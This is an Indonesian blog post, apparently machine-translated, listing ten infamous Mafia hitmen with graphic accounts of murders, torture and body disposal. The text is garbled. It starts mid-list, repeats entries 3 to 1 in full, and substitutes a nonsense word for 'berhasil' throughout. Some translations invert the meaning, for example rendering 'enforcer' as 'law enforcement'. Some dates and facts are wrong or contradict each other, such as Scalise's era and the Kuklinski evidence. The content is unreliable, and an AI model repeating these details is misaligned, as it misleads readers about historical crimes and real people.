Pada satu kesempatan penting, dia menyiksa dan membunuh seorang remaja yang ayahnya juga tewas. Dikabarkan bahwa ia melarutkan mayat mereka dalam larutan asam. Pada 1979 Giuseppe Greco adalah anggota tingkat tinggi dan dihormati Komisi Mafia. Dia melakukan sebagian besar pembunuhan antara tahun 1980-83, selama Perang Mafia II.
Tubuh korbannya biasanya dibawa ke "ruang kematian" - sebuah gubuk tempat tokoh-tokoh Mafia untuk menyiksa, membunuh dan melarutkan mayat korban dalam asam. Pada tahun 1982, Palermo bos Rosaria Riccobono diundang ke sebuah barbekyu di rumah Greco. Setelah Riccobono dan rekan-rekannya yang paling kuat tiba, mereka dibunuh oleh Greco beserta Pasukan Kmatiannya setelah diperintahkan oleh bos Salvatore Riina, yang pernah diintimidasi oleh kekuatan dan kekayaan Riccobono. Mayatnya tidak pernah ditemukan dan mayat -mayat itu dikabarkan menjadi makanan babi yang kelaparan.
Greco dibunuh di rumahnya pada tahun 1985, oleh dua mantan anggota pasukan kematian miliknya, Ironisnya Salvatore Riina yang memerintahkan pembunuhan itu, yang percaya Greco menjadi terlalu ambisius dan terlalu independen berpikiran untuk tetap hidup Dia meninggal di usia 33-tahun
2. Abraham “Kid Twist” Reles

Abe Reles sejauh ini adalah pembunuh bayaran yang paling terkenal terlibat dengan Murder Inc, sebuah kelompok rahasia pembunuh kontrak yang bekerja untuk Mafia antara 1920-1950an. Dia kebanyakan aktif sebagai mafia selama tahun 1930-an, ketika dia membunuh untuk berbagai keluarga mafia New York. Senjata pilihannya adalah pemecah es, yang dia sangat ahli menggunakannya untuk menusuk kepala korban sampai otak. Reles rentan terhadap temperamennya tang membabi butaa, dan sering membunuh secara spontan. Pada satu kesempatan penting dia membunuh petugas parkir karena gagal membawa mobilnya cukup cepat. Lain waktu, dia mengundang seorang teman untuk makan malam di rumah ibunya. Setelah makan selesai, dia menusuk pria itu dengan pemecah es dan membuang mayatnya dengan bantuan teman.
Sebagai seorang remaja, Reles terlibat dalam boot-legging selama era larangan, dan segera menjadi terkenal di dunia kejahatan terorganisir. Dia kemudian lulus ke bisnis rentenir dan kebertinjauanannya diimplementasikan ke dia di daftar pembunuhan teman dan mantan mafia, Meyer Shapiro.
Reles dan beberapa teman gangster kemudian disergap oleh anak buah Shapiro, meskipun tidak ada yang tewas dalam percobaan pembunuhan itu. Meyer Shapiro melanjutkan untuk menculik pacar Reles dan memperkosanya di sebuah ladang jagung. Reles kemudian melakukan misi balas dendam, untuk membunuh Meyer Shapiro dan kedua saudaranya dan juga mengambil alih operasi haramnya.
Setelah gagal dalam beberapa usaha pembunuhan, Reles masuk ke rumah Irving Shapiro (keluarga meyer Shapiro)dan menyeretnya keluar di jalan untuk mempermalukan dia, sebelum menembak dia sampai mati.
2 bulan kemudian, Reles menemukan Meyer Shapiro dan menembaknya di wajah dari jarak dekat. 3 tahun berlalu, sebelum Reles akhirnya menemukan saudara Shapiro ketiga dan terakhir. William Shapiro diculik oleh Reles dan anak buahnya, sebelum dipukuli dan kemudian dikubur hidup-hidup.
Pada tahun 1940, Reles menghadapi tuduhan pada sejumlah pembunuhan dan kemungkinan besar akan dieksekusi jika terbukti bersalah. Untuk menyelamatkan dirinya, dia mengkhianati teman mantan dan anggota Murder Inc, 6 diantaranya kemudian dieksekusi.
Dia segera dijadwalkan untuk bersaksi melawan bos mafia kuat Albert Anastasia, dan berada di bawah penjaga konstan dalam sebuah kamar hotel pada malam sebelum sidang.
Keesokan paginya dia ditemukan tewas di trotoar luar. Tidak diketahui apakah dia dilemparkan atau didorong keluar jendela, atau dia tengah mencoba melarikan diri.
1. Richard “Ice Man” Kuklinski

Mungkin pembunuh bayaran yang paling terkenal dalam sejarah, “Ice Man” Kuklinski diperkirakan telah membunuh lebih dari 200 orang (tidak pernah perempuan, atau anak-anak) dengan tangannya sendiri.
Dia beroprasi di New York dan New Jersey tahun 1950-88 dan bekerja sebagai pembunuh bayaran bagi keluarga mafia DeCavalcante, serta berbagai KEluarga mafia lain yang menonjol. Kuklinski melakukan pembunuhan pertamanya di usia 14, mengalahkan pengganggunya sampai mati dengan sepotong kayu.Untuk menghindari identifikasi tubuh, Kuklinski memotong ujung jari anak itu dan menanggalkan giginya sebelum membuang sisa mayatnya di jembatan Selatan Jersey
Saat masa remajanya dan awal dua puluhan, Kuklinski menjadi pembunuh berantai terkenal di Manhattan, brutal membunuh orang gelandangan untuk menebar ketakutan. Sebagian besar korban ditembak atau ditikam, dan kemudian pergi untuk menjatuhkan yang mereka meninggal.
Dia juga mulai bisnis, dan akan mengalahkan siapa saja yang menentang dia. Reputasinya untuk kebrutalan segera menarik perhatian banyak keluarga mafia , yang berusaha memanfaatkan bakatnya untuk kekerasan dengan membuatnya menjadi penegak hukum di jajaran mafioso.
Dia menjadi rekan dari keluarga kejahatan Gambino, melakukan perampokan dan juga membajak video porno. Suatu hari, seorang anggota dihormati dari keluarga Gambino bernama Roy DeMeo membawa Kuklinski dalam mobilnya dan mereka parkir di jalanan kota. DeMeo kemudian dipilih target acak, seorang pria berjalan dengan anjingnya. Dia kemudian memerintahkan Kuklinski untuk membunuhnya. Kuklinski cepat keluar, berjalan ke arah pria itu dan menembaknya di bagian belakang kepala saat dia lewat. Ini adalah awal dari karir Kuklinski sebagai pembunuh bayaran.
Selama 30 tahun berikutnya Kuklinski bekerja dengan sukses sebagai pembunuh bayaran. Julukannya "Iceman" berasal dari metodenya dalam pembekuan korbannya untuk menyamarkan saat kematian dari pihak berwenang.
Kuklinski juga terkenal karena metode eksekusinya, yang paling tidak biasa penggunaan panah ditancapkan di dahi korban, meskipun dia lebih sering menggunakan sianida sebagai racun.
Ketika pemerintah akhirnya mengidentifikasi Kuklinski sebagai pembunuh bayaran terkenal, mereka menemukan bahwa bukti yang ada sudah cukup untuk menetapkan Kuklinski sebagai pembunuh.
Keputusannya dilakukan sting operation, sebuah agen rahasia berpura-pura menyewa Kuklinski untuk membunuh, dan merekam Kuklinski berbicara mendalam tentang bagaimana dia akan melaksanakannya. Setelah itu, dia segera ditangkap dan didakwa saat mencoba untuk mendapatkan sianida untuk pembunuhan yang direncanakan. Dia menerima 5 hukuman seumur hidup karena pembunuhan berturut-turut setelah mengakui banyak pembunuhan. Dia meninggal di penjara karena sakit ketika dia 70 tahun.
Kadang-kadang pembunuhan disebabkan oleh balas dendam atau karena perbedaan pendapat sederhana.
Pembunuhan menjadi profesi dalam mafia;Anggota yang berprofesi sebagai Pembunuh (hitmen) biasanya mempunyai kemampuan di atas rata - rata anggota lainnya. Perencanaan, pelaksanaan dan pembuangan sisa-sisa (penghilangan mayat) adalah bagian dari keahlian tambahan bagi pembunuh bayaran yang terampil.
Meskipun mereka mempunyai skill yang hebat, keahlian yang sistematis. Namun sebagian besar dari mereka menemui akhir yang cukup tragis di akhir karir mereka. Baik terbunuh ataupun menghabiskan sisa hidupnya di penjara.Dalam daftar ini saya juga menyertakan nama dari perkumpulan mafia dan anggota yang direkrutnya.
10. Joseph “The Animal” Barboza

Barboza terkenal karena menjadi salah satu pembunuh bayaran paling ditakuti selama tahun 1960, ia diyakini telah menewaskan lebih dari 26 orang. dia memperoleh julukan selama insiden di klub malam ketika dia menggigit dagu seorang pria sampai putus setelah perselisihan.Untuk sementara dia mengejar karir sebagai petinju, memenangkan 8 dari 12 pertandingan dibawah moniker "The Baron." Meskipun ada beberapa upaya untuk menjalani hidupnya yang legal namun dia akan selalu kembali ke kejahatan.
Pada tahun 1950 dia menjalani hukuman 5 tahun di Massachusetts Institute Pemasyarakatan, di mana ia menyerang penjaga dan narapidana lainnya pada berbagai kesempatan. 3 tahun di penjara dia melarikan diri dengan sesama narapidana, namun segera ditangkap kembali. Setelah dibebaskan, dia terlibat dengan gangster besar dan mulai petualangan hitamnya sendiri. Waktu itu dia juga mulai bekerja sebagai pembunuh bayaran pertama untuk Keluarga Penjahat Patriarca.
Selama bertahun-tahun jumlah korbannya bertambah, seperti yang dilakukan reputasinya sebagai pembunuh bayaran. Senjata pembunuh yang disukainya adalah pistol dengan peredam, meskipun diperkirakan ia juga bereksperimen dengan bom mobil.
Barboza segera menjadi sosok yang kuat dan dihormati di dunia kriminal, namun ruam kepribadian dan reputasi kekerasan segera membuat banyak musuh berbahaya.
Setelah dipenjara atas tuduhan pembunuhan, dia mengetahui bahwa teman-teman lamanya merencanakan untuk membunuhnya.
Dia setuju untuk bersaksi melawan bos mafia Raymond Patriarca, sebagai imbalan atas perlindungan oleh FBI. Setelah hidup dalam program perlindungan saksi untuk beberapa waktu, musuh-musuhnya akhirnya bertinjauan mengakap dia. Pada tahun 1976, ia disergap di luar rumahnya dan langsung tewas oleh ditembak.
9. “Crazy” Joe Gallo

Joseph Gallo adalah Anggota mafia yang terkenal dari keluarga mafia Profaci, yang berbasis di New York. Dia membunuh tanpa sebab dan dianggap terlibat dalam banyak kontrak pembunuhan atas perintah bos Joe Profaci. Ironisnya julukannya tidak ada hubungannya dengan reputasi pembunuhnya.
Banyak gangster menjulukinya "Gila" karena kebiasaannya membaca baris dialog dari film-film gangster dan meniru karakter mafia fiktif. Reputasinya melonjak pada tahun 1957 ketika ia dicurigai (meskipun tidak pernah terbukti) menjadi orang-orang bersenjata dalam pembunuhan massa kuat bos Albert Anastasia.
Gallo kemudian memimpin sebuah geng dalam upaya untuk menggulingkan pemimpin keluarga Profaci, Joseph Profaci. Upaya itu tidak bertinjauan dan banyak teman dan kerabatnya secara sistematis dibunuh oleh anak buah Profaci. Situasi makin buruk bagi Gallo, pada tahun 1961 dia dihukum atas tuduhan pemerasan selama 10 tahun penjara.
Saat di penjara dia mencoba untuk membunuh sesama narapidana dengan mengundang mereka secara sopan ke dalam sel dan kemudian memberi mereka makanan dicampur dengan strychnine. Dia dibebaskan setelah menjalani 8 tahun hukumannya. Setelah dibebaskan, Gallo bertekad untuk mengambil alih Joe Kolombo sebagai pemimpin keluarga mafia Kolombo.
Pada tahun 1971 sebuah gangster Afrika-Amerika menembak Kolombo 3 kali di kepala atas perintah Gallo.Namun, Gallo akan segera bertemu dengan akhir tragisnya. Pada tahun 1972 ketika ia sedang makan di sebuah restoran seafood dengan keluarga dan pengawalnya, seorang pria bersenjata gunshot melalui pintu belakang menembak Gallo lima kali di dada. Dia terhuyung-huyung ke jalan dan roboh mati. Tersangka utama pembunuhan itu diduga adalah Carlo Gambino, yang diduga memerintahkan pembunuhan itu sebagai balas dendam karena pembunuhan temannya, Joe Kolombo.
8. Giovanni Brusca

Giovanni Brusca sangat terkenal sebagai salah satu anggota paling kejam dan sadis dalam sejarah Mafia Sisilia. Dia mengklaim telah membunuh lebih dari 200 orang, meskipun angka ini tampaknya tidak mungkin dan pihak berwenang belum banyak mengungkap. Brusca dibesarkan di Palermo, Italia dan mulai bergaul dengan tokoh-tokoh dunia dari usia muda. Dia akhirnya menjadi anggota sebuah "pasukan kematian", yang menyelesaikan pembunuhan atas perintah bos Salvatore Riina. Brusca berpartisipasi dalam pembunuhan jaksa anti-Mafia Giovanni Falcone tahun 1992. Sebuah bom besar dengan berat hampir setengah ton ditempatkan di bawah jalan tol di Palermo.
Ketika mobil Falcone lewat, Brusca meledakkan bom itu, disamping membunuh Falcone banyak warga sipil ikut menjadi korban ledakan yang dasyat tersebut. Ledakan itu begitu besar membuat sebuah lubang besar di jalan dan terekam pada monitor gempa lokal. Segera setelah itu Brusca menghadapi masalah, mantan temannya bernama Giuseppe di Matteo yang juga informan menginformasikan bahwa dia terlibat pembunuhan Falcone.
Untuk membungkam Di Matteo, Brusca anaknya 11 tahun, dan mulai menyiksanya selama 2 tahun.
Dia juga mengirim foto-foto mengerikan dari anak yang disiksa pada Di Matteo, menuntut agar dia menarik kesaksiannya. Akhirnya anak itu dicekik dengan garrote dan tubuhnya dilarutkan dalam asam untuk menghilangkan bukti.
Brusca dijatuhi hukuman penjara seumur hidup namun bertinjauan melarikan diri, dan melanjutkan aktivitas di kejahatan terorganisir. Pihak berwenang akhirnya menangkap dia di sebuah rumah kecil di pedesaan Sisilia. Para petugas yang menangkapnya mengenakan topeng ski untuk menyamarkan identitas mereka dari Mafia, menghindari serangan balasan yang umum dari mafia.
Dia didakwa dan dihukum dengan banyak pembunuhan , di atas kalimat pembunuhan yang dia terima secara in absentia dan saat ini dalam penjara di mana ia akan tetap untuk sisa hari-harinya.
7. John Scalise

John Scalise menjabat sebagai salah satu orang pembunuh utama Al Capone selama era larangan miras tahun 1930-an dan 40an. Ketika dia berusia dua puluh tahun dia kehilangan mata kanannya dalam pertarungan pisau, yang kemudian diganti dengan kaca mata satu. Setelah itu, Scalise memperkuat hubungan massa dan mulai menerima kontrak pembunuhan dari persaudaraan Gennas. Dia kemudian diam-diam membelot ke Chicago outfit dan kontrak menerima kontrak dari Al Capone.
Scalise juga menjalani hukuman penjara 14 tahun untuk pembunuhan waktu itu, dan dia dilaporkan memukuli beberapa narapidana sampai parah.
Dia mungkin adalah yang paling terkenal karena menjadi tersangka dalam Pembantaian Hari St terkenal Valentine, ketika tujuh orang berbaris dinding dan diberondong dengan brutal oleh gangster berpakaian perwira polisi.Scalise ditangkap dan didakwa dengan pembunuhan, meskipun ia dinyatakan tidak bersalah karena kurangnya bukti. Setelah kejadian itu, Capone mendengar rumor bahwa Scalise dan 2 pembunuh bayaran lainnya terlibat dalam komplotan untuk menggulingkan kepemimpinannya. Dia menjawab rumor itu dengan mengundang mereka dalam pesta pribadi sebelum memukuli ketiganya sampai hampir mati dengan tongkat baseball, sampai penegak hukum turun tangan menyelesaikan pekerjaannya dengan pistol.
6. Tommy DeSimone

Tommy DeSimone dikenal dalam penggambaran oleh aktor Joe Pesci pada filem tahun 1990 berjudul "Goodfellas.", digambarkan dalam film DeSimone sebagai seorang pria kecil,namun dalam kenyataan DeSimone besar,kekar,tinggi sekitar 2 meter dan berat 225 pond.
Dia terbukti telah menewaskan sedikitnya 6 orang secara pribadi, meskipun total diperkirakan lebih dari 11.dIa digambarkan oleh informan Henry Hill sebagai "psikopat sejati"
DeSimone melakukan pembunuhan pertamanya pada tahun 1968, saat berjalan di jalan dengan Henry Hill ia melihat seorang pria tak dikenal berjalan menuju pasangan ini. Dia berpaling kepada Henry dan berkata: "Hei, lihat ini" lalu berteriak: "Hei bajingan" dan ketika orang itu menoleh dia menembak orang itu sampai mati.
Ini tidak menjadi yang terakhir kalinya dia membunuh secara sepontan. Di sebuah bar milik mafia Jimmy Burke,adu mulut pecah antara DeSimone dan pelayan bar muda bernama Michael "Spider" Gianco ketika tagihan minuman salah. DeSimone mengeluarkan pistolnya dan menuntut agar si penjaga bar menari untuknya. Ketika Dia menolak, DeSimone menembaknya di kaki.
Seminggu kemudian di bar yang sama DeSimone mulai mengejek Spider karena kakinya terluka dan dia menjawab dengan mengatakan: “Why dont you go fuck yourself Tommy?” Yang membuat orang terbahak. DeSimone segera mengeluarkan pistolnya dan menembak Spider tiga kali di dada, membunuhnya.
Setelah keterlibatannya dalam Heist Lufthansa yang terkenal, Tommy DeSimone menjadi pembunuh bayaran untuk teman dan dalang dari pencurian, Jimmy Burke.Mereka bekerja untuk melenyapkan informan dan meningkatkan tinjauan curian.
Salah satu korban pembunuhan adalah teman yang sangat dekat dengan Tommy bernama Stacks Edwards, seseorang yang pada awalnya enggan untuk dia bunuh. Dia diberitahu oleh Burke bahwa dia mungkin menjadi "buatan" anggota mafia jika dia membocorkan pembunuhan , jadi dia setuju. Mengunjungi tempat persembunyian Stacks Edwards dia menembaknya enam kali di dada dengan pistol berperedam.
Pada akhirnya, temperamen Tommylah yang menyebabkan kematiannya. Dalam kemarahan buta dia telah membunuh dua teman dekat dari keluarga Gambino yaitu bos John Gotti, William "Billy Batts" DeVino dan Foxy Jerothe. Pembalasan terhadap pembunuhan ini Gotti beranggapan harus membunuh DeSimone dengan tangannya sendiri. Henry Hill kemudian mengatakan di acara Howard Stern bahwa pembunuhan itu "Butuh waktu lama" karena Gotti ingin DeSimone menderita. Ketika dia meninggal, dia berusia 28 tahun. Dan mayatnya tidak pernah ditemukan.
5. Salvatore Testa

Salvatore Testa adalah mafia Philadelphia yang menjabat sebagai pembunuh bayaran bagi keluarga kejahatan Scarfo dari 1981 sampai kematiannya pada tahun 1984. Ayahnya, seorang kriminal yang sangat sukses, dibunuh oleh bom paku pada tahun 1981 meninggalkan Testa dengan kontrol dari bisnisnya baik yang legal maupun yang tidak.
Hal ini membuat Testa sangat kaya ketika dia berusia 25-tahun. Testa adalah individu yang sangat agresif dan dia membunuh 15 orang secara pribadi selama tahun-tahun aktifnya. Salah satu korban dari sekian banyak korban adalah orang yang merekayasa pembunuhan ayahnya; mafia sekaligus bodyguard Rocco Marinucci. Mayat Marinucci ditemukan tepat satu tahun setelah pembunuhan ayah Testa . Mayat itu dipenuhi luka tembak dan 3 bom cherry yang tidak meledak disumpalkan di dalam mulutnya.
Testa berkata : ". Saya berharap bajingan itu masih hidup sehingga saya bisa membunuhnya lagi"
Testa juga selamat dalam upaya pembunuhan.Pertama kali, Testa sedang duduk di luar sebuah restoran di sebuah pasar Italia, ketika sebuah Sedan Ford melambat dan dengan sliding shot gun mulai muncul keluar jendela mobil .
Testa terkena banyak tembakan beruntun, mengenai perut dan hampir membuat lengan kirinya putus. Dia akhirnya pulih dan para pelaku terpaksa pergi bersembunyi setelah Testa mengetahui siapa mereka.
Testa bertemu kematiannya setelah dijebak dalam sergapan oleh teman-teman mantan mafia. Dia ditembak di belakang kepalanya dari jarak dekat. Motif pembunuhannya adalah ketakutan yang meningkat dari bos keluarga mafia Scarfo, yang beranggapan Testa sedang berebcana untuk melawannya.
4. Salvatore “Sammy the Bull” Gravano

Sammy the Bull adalah underboss asosiasi dan akhirnya keluarga mafia Gambino.Dia mungkin paling dikenal karena menjadi seorang informan terhadap mantan bos John Gotti. Kesaksiannya membuat Gotti di penjara selama sisa hidupnya. Gravano juga telah melakukan pembunuhan banyak dan kontrak pembunuhan selama karir kriminalnya. Dia dijuluki "The Bull" karena ukuran tubuhnya dan keterkenalannya, dan kebiasaannya untuk menantang tinju mafia lainnya.
Dia mulai aktivitas mafia di akhir tahun 1960 untuk keluarga mafia Colombo. Dia berpartisipasi dalam perampokan bersenjata dan kejahatan kecil lainnya, meskipun dia cepat berkembang ke bidang yang menguntungkan sebagai debt collector. Gravano melakukan pembunuhan pertamanya pada tahun 1970. Rekan rekan Joe Colluci telah berselingkuh dengan teman Gravano, istri Tommy Spero dan telah merencanakan untuk membunuh Spero. Gravano menembak Colluci di kepala dari jarak dekat di sebuah bar milik mafia. Pembunuhan itu membuat Gravano mendapat respek di antara tokoh-tokoh dunia mafia yang kuat.
Pada awal 1970-an Gravano bergabung ke keluarga mafia Gambino. Dia ditangkap atas dugaan pembunuhan namun dia segera dilepas. Saat itu dia mulai kesenangan perampokan berjalan lama berlangsung satu setengah tahun yang mengakibatkan dia menjadi eksekutor dalam keluarga Gambino.
Dia menerima kontrak pembunuhan pertamanya pada tahun 1980. Seorang pria bernama John Simone telah menjadi bagian dari konspirasi untuk kejahatan pembunuhan Philadelphia bos Angelo Bruno, tanpa persetujuan dari komisi mafia dan diputuskan dijatuhi hukuman mati. Gravano menculik Simone dengan bantuan 2 teman dan mengantarnya ke daerah hutan di mana dia menembaknya di kepala dan membuang tubuhnya.
Gravano melakukan pembunuhan ketiga pada awal tahun 1980 setelah raja bisnis kaya menghinanya. Dia disergap di jalan oleh teman-teman Gravano dan ditembak di bagian kepala satu kali juga di bola matanya sekali. Gravano meludahi orang itu saat dia meninggal di lantai.
Gravano kemudian menjadi underboss keluarga kejahatan Gambino di bawah John Gotti, dan pembunuh bayaran favorit Gotti dalam periode itu. Setelah melakukan berbagai kejahatan, dia menawarkan bukti melawan Gotti sebagai imbalan atas pengurangan masa tahanan.
Dia mengaku melakukan 19 pembunuhan namun dia hanya menerima hukuman 5 tahun. Setelah dibebaskan dia bersembunyi dari mafia, meskipun dia kemudian terlibat dengan kejahatan terorganisir di Arizona, dan sekarang di penjara.
3. Giuseppe Greco

Giuseppe Greco adalah seorang mafia Italia yang bekerja sebagai pembunuh bayaran di Palermo, Italia selama 1970-an. Tidak seperti pembunuh bayaran lainnya, Giuseppe Greco saat menjadi buronan untuk sebagian besar karir kriminalnya. Dia jarang bekerja sendiri, tapi menggunakan "pasukan maut" dari gangster yang memegang AK-47 yang secara rutin akan menyergap korban dan memberondongkan korban dengan peluru. Dia dinyatakan bersalah saat menjalankan 58 pembunuhan, meskipun total keseluruhan diperkirakan lebih dari 80.
Pada satu kesempatan penting, dia menyiksa dan membunuh seorang remaja yang ayahnya juga tewas. Dikabarkan bahwa ia melarutkan mayat mereka dalam larutan asam. Pada 1979 Giuseppe Greco adalah anggota tingkat tinggi dan dihormati Komisi Mafia. Dia melakukan sebagian besar pembunuhan antara tahun 1980-83, selama Perang Mafia II.
Tubuh korbannya biasanya dibawa ke "ruang kematian" - sebuah gubuk tempat tokoh-tokoh Mafia untuk menyiksa, membunuh dan melarutkan mayat korban dalam asam. Pada tahun 1982, Palermo bos Rosaria Riccobono diundang ke sebuah barbekyu di rumah Greco. Setelah Riccobono dan rekan-rekannya yang paling kuat tiba, mereka dibunuh oleh Greco beserta Pasukan Kmatiannya setelah diperintahkan oleh bos Salvatore Riina, yang pernah diintimidasi oleh kekuatan dan kekayaan Riccobono. Mayatnya tidak pernah ditemukan dan mayat -mayat itu dikabarkan menjadi makanan babi yang kelaparan.
Greco dibunuh di rumahnya pada tahun 1985, oleh dua mantan anggota pasukan kematian miliknya, Ironisnya Salvatore Riina yang memerintahkan pembunuhan itu, yang percaya Greco menjadi terlalu ambisius dan terlalu independen berpikiran untuk tetap hidup Dia meninggal di usia 33-tahun
2. Abraham “Kid Twist” Reles

Abe Reles sejauh ini adalah pembunuh bayaran yang paling terkenal terlibat dengan Murder Inc, sebuah kelompok rahasia pembunuh kontrak yang bekerja untuk Mafia antara 1920-1950an. Dia kebanyakan aktif sebagai mafia selama tahun 1930-an, ketika dia membunuh untuk berbagai keluarga mafia New York. Senjata pilihannya adalah pemecah es, yang dia sangat ahli menggunakannya untuk menusuk kepala korban sampai otak. Reles rentan terhadap temperamennya tang membabi butaa, dan sering membunuh secara spontan. Pada satu kesempatan penting dia membunuh petugas parkir karena gagal membawa mobilnya cukup cepat. Lain waktu, dia mengundang seorang teman untuk makan malam di rumah ibunya. Setelah makan selesai, dia menusuk pria itu dengan pemecah es dan membuang mayatnya dengan bantuan teman.
Sebagai seorang remaja, Reles terlibat dalam boot-legging selama era larangan, dan segera menjadi terkenal di dunia kejahatan terorganisir. Dia kemudian lulus ke bisnis rentenir dan kebertinjauanannya diimplementasikan ke dia di daftar pembunuhan teman dan mantan mafia, Meyer Shapiro.
Reles dan beberapa teman gangster kemudian disergap oleh anak buah Shapiro, meskipun tidak ada yang tewas dalam percobaan pembunuhan itu. Meyer Shapiro melanjutkan untuk menculik pacar Reles dan memperkosanya di sebuah ladang jagung. Reles kemudian melakukan misi balas dendam, untuk membunuh Meyer Shapiro dan kedua saudaranya dan juga mengambil alih operasi haramnya.
Setelah gagal dalam beberapa usaha pembunuhan, Reles masuk ke rumah Irving Shapiro (keluarga meyer Shapiro)dan menyeretnya keluar di jalan untuk mempermalukan dia, sebelum menembak dia sampai mati.
2 bulan kemudian, Reles menemukan Meyer Shapiro dan menembaknya di wajah dari jarak dekat. 3 tahun berlalu, sebelum Reles akhirnya menemukan saudara Shapiro ketiga dan terakhir. William Shapiro diculik oleh Reles dan anak buahnya, sebelum dipukuli dan kemudian dikubur hidup-hidup.
Pada tahun 1940, Reles menghadapi tuduhan pada sejumlah pembunuhan dan kemungkinan besar akan dieksekusi jika terbukti bersalah. Untuk menyelamatkan dirinya, dia mengkhianati teman mantan dan anggota Murder Inc, 6 diantaranya kemudian dieksekusi.
Dia segera dijadwalkan untuk bersaksi melawan bos mafia kuat Albert Anastasia, dan berada di bawah penjaga konstan dalam sebuah kamar hotel pada malam sebelum sidang.
Keesokan paginya dia ditemukan tewas di trotoar luar. Tidak diketahui apakah dia dilemparkan atau didorong keluar jendela, atau dia tengah mencoba melarikan diri.
1. Richard “Ice Man” Kuklinski

Mungkin pembunuh bayaran yang paling terkenal dalam sejarah, “Ice Man” Kuklinski diperkirakan telah membunuh lebih dari 200 orang (tidak pernah perempuan, atau anak-anak) dengan tangannya sendiri.
Dia beroprasi di New York dan New Jersey tahun 1950-88 dan bekerja sebagai pembunuh bayaran bagi keluarga mafia DeCavalcante, serta berbagai KEluarga mafia lain yang menonjol. Kuklinski melakukan pembunuhan pertamanya di usia 14, mengalahkan pengganggunya sampai mati dengan sepotong kayu.Untuk menghindari identifikasi tubuh, Kuklinski memotong ujung jari anak itu dan menanggalkan giginya sebelum membuang sisa mayatnya di jembatan Selatan Jersey
Saat masa remajanya dan awal dua puluhan, Kuklinski menjadi pembunuh berantai terkenal di Manhattan, brutal membunuh orang gelandangan untuk menebar ketakutan. Sebagian besar korban ditembak atau ditikam, dan kemudian pergi untuk menjatuhkan yang mereka meninggal.
Dia juga mulai bisnis, dan akan mengalahkan siapa saja yang menentang dia. Reputasinya untuk kebrutalan segera menarik perhatian banyak keluarga mafia , yang berusaha memanfaatkan bakatnya untuk kekerasan dengan membuatnya menjadi penegak hukum di jajaran mafioso.
Dia menjadi rekan dari keluarga kejahatan Gambino, melakukan perampokan dan juga membajak video porno. Suatu hari, seorang anggota dihormati dari keluarga Gambino bernama Roy DeMeo membawa Kuklinski dalam mobilnya dan mereka parkir di jalanan kota. DeMeo kemudian dipilih target acak, seorang pria berjalan dengan anjingnya. Dia kemudian memerintahkan Kuklinski untuk membunuhnya. Kuklinski cepat keluar, berjalan ke arah pria itu dan menembaknya di bagian belakang kepala saat dia lewat. Ini adalah awal dari karir Kuklinski sebagai pembunuh bayaran.
Selama 30 tahun berikutnya Kuklinski bekerja dengan sukses sebagai pembunuh bayaran. Julukannya "Iceman" berasal dari metodenya dalam pembekuan korbannya untuk menyamarkan saat kematian dari pihak berwenang.
Kuklinski juga terkenal karena metode eksekusinya, yang paling tidak biasa penggunaan panah ditancapkan di dahi korban, meskipun dia lebih sering menggunakan sianida sebagai racun.
Ketika pemerintah akhirnya mengidentifikasi Kuklinski sebagai pembunuh bayaran terkenal, mereka menemukan bahwa bukti yang ada sudah cukup untuk menetapkan Kuklinski sebagai pembunuh.
Keputusannya dilakukan sting operation, sebuah agen rahasia berpura-pura menyewa Kuklinski untuk membunuh, dan merekam Kuklinski berbicara mendalam tentang bagaimana dia akan melaksanakannya. Setelah itu, dia segera ditangkap dan didakwa saat mencoba untuk mendapatkan sianida untuk pembunuhan yang direncanakan. Dia menerima 5 hukuman seumur hidup karena pembunuhan berturut-turut setelah mengakui banyak pembunuhan. Dia meninggal di penjara karena sakit ketika dia 70 tahun.
sumber
Langganan:
Postingan (Atom)